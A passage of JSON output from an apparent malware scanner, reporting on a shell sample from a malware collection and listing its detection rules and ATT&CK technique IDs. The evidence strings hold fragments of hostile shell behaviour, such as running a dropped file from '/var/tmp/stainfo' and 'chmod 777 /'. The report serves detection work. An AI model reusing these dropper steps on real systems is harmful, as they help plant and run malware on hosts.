5.21, "unique_chars": 60.0, "import_density": 1300.0, "lines_over_200": 1.0, "lines_over_500": 1.0, "avg_line_length": 591.0, "max_line_length": 591.0, "last_line_length": 591.0, "long_token_count": 1.0, "most_common_char": "9", "whitespace_ratio": 0.04, "most_common_ratio": 0.06, "normalized_import_count": 13.0, "max_inline_whitespace_run": 1.0 }, "imports": { "total": 13.0, "relative_ratio": 0.15, "unique_modules": 7.0, "relative_imports": 2.0, "third_party_count": 13.0, "third_party_ratio": 1.0 }, "strings": {}, "comments": {}, "functions": {}, "identifiers": {} }, "sz": 591, "ts": [ { "a": "T1059.006", "c": 0.6000000238418579, "d": "Named /tmp execution path", "e": [ "/tmp/stainfo" ], "i": "objectives/command-and-control/dropper::tmp-path", "l": 1, "m": "B0024" }, { "c": 0.800000011920929, "d": "Very short file (under 12 lines)", "e": [ "text.total_lines = 1.00" ], "i": "metadata/package/metrics::file-under-12-lines", "l": 1 }, { "c": 0.75, "d": "HTTP protocol version strings", "e": [ "HTTP/1.1" ], "i": "micro-behaviors/communications/http/request::http-versions", "l": 1 }, { "a": "T1027", "c": 0.75, "d": "Mixed encoding indicators", "e": [ "\u003e/var/tmp/stainfo" ], "i": "objectives/anti-static/obfuscation/multi-layer::mixed-encoding-indicators", "l": 3 }, { "a": "T1059.004", "c": 0.800000011920929, "d": "Executes a file from temp path", "e": [ ";/var/tmp/stainfo" ], "i": "micro-behaviors/process/create/local-exec::tmp-path-execution", "l": 3 }, { "c": 0.699999988079071, "d": "Unix /tmp/ path reference", "e": [ "/tmp/" ], "i": "micro-behaviors/fs/path/temp::unix-temp", "l": 2 }, { "c": 1.0, "d": "/tmp/ path component", "e": [ "/var/tmp/stainfo" ], "i": "micro-behaviors/fs/path/temp::tmp-path-content", "l": 2 }, { "c": 0.699999988079071, "d": "Unix /var/tmp/ path reference", "e": [ "/var/tmp/" ], "i": "micro-behaviors/fs/path/temp::unix-var-temp", "l": 2 }, { "a": "T1071.001", "d": "HTTP/1.x version string", "e": [ "HTTP/1." ], "i": "micro-behaviors/communications/http/request::http-version", "l": 2, "m": "C0002" }, { "c": 0.800000011920929, "d": "High density of shell commands", "e": [ "text.import_density = 1300.00" ], "i": "metadata/binary/metrics::shell-high-import-density", "l": 2 }, { "a": "T1222", "c": 0.699999988079071, "d": "Shell chmod 7xx (executable)", "e": [ "chmod 777 " ], "i": "micro-behaviors/fs/chmod/executable::shell-7xx", "l": 3, "m": "E1222" }, { "a": "T1222", "c": 0.800000011920929, "d": "chmod 777 (world-writable+executable)", "e": [ "chmod 777 /" ], "i": "micro-behaviors/fs/chmod/executable/dangerous::shell-777", "l": 3, "m": "E1222" }, { "a": "T1027", "c": 0.800000011920929, "d": "Very long shell lines", "e": [ "text.max_line_length = 591.00" ], "i": "objectives/anti-static/obfuscation/code-metrics::sh-long-lines", "l": 3, "m": "B0032" }, { "a": "T1222", "c": 1.0, "d": "Dangerous chmod values (world-writable)", "e": [ "chmod 777 /" ], "i": "micro-behaviors/fs/chmod/executable/dangerous::generic-shell-chmod", "l": 3, "m": "E1222" }, { "c": 0.6600000262260437, "d": "Reference to /tmp", "e": [ "/var/tmp/stainfo", "/tmp/" ], "i": "micro-behaviors/fs/path/temp::temp-tmp", "l": 2 }, { "c": 0.6600000262260437, "d": "Reference to /var/tmp", "e": [ "/var/tmp/stainfo", "/var/tmp/" ], "i": "micro-behaviors/fs/path/temp::temp-var-tmp", "l": 2 }, { "c": 1.0, "d": "shell code encoded in string", "e": [ "Detected shell at offset 0x35a8c8" ], "i": "metadata/lang/encoded/url::shell", "l": 3 } ], "sha": "32f75710419fd500560440b3908f1e797b297dca9e723e24949bfaa742389a4b", "path": "/data/samples/bad/harvest/malshare/38536ef3cd33878061bb5242d917e95cb1b2c5ccdeab3f26bb627fbefcd353e6##url@3516616", "type": "shell" } ], "tv": "bf48d" } }